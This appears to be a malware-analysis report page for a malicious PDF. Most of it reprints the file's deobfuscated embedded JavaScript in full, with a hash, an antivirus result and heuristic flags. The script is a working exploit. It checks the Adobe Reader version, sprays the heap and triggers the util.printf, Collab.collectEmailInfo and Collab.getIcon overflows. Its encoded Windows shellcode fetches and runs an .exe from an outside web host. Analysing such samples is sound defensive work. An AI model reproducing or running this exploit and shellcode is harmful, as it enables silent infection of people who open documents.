var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7375%u7265%u6F67%u646E%u7265%u616D%u7367%u632E%u6D6F%u662F%u6832%u6275%u6162%u642F%u6665%u6B67%u6F6E%u7974%u2E33%u7865%u0065");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7375%u7265%u6F67%u646E%u7265%u616D%u7367%u632E%u6D6F%u662F%u6832%u6275%u6162%u612F%u7566%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x36B 5408 bytes
SHA-256: a699c0e088311cbf510726a244d403f3073034607811aad116ff970c6b11064b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7375%u7265%u6F67%u646E%u7265%u616D%u7367%u632E%u6D6F%u662F%u6832%u6275%u6162%u622F%u7167%u3379%u652E%u6578%u0000");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7375%u7265%u6F67%u646E%u7265%u616D%u7367%u632E%u6D6F%u662F%u6832%u6275%u6162%u642F%u6665%u6B67%u6F6E%u7974%u2E33%u7865%u0065");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u622F%u7375%u7265%u6F67%u646E%u7265%u616D%u7367%u632E%u6D6F%u662F%u6832%u6275%u6162%u612F%u7566%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.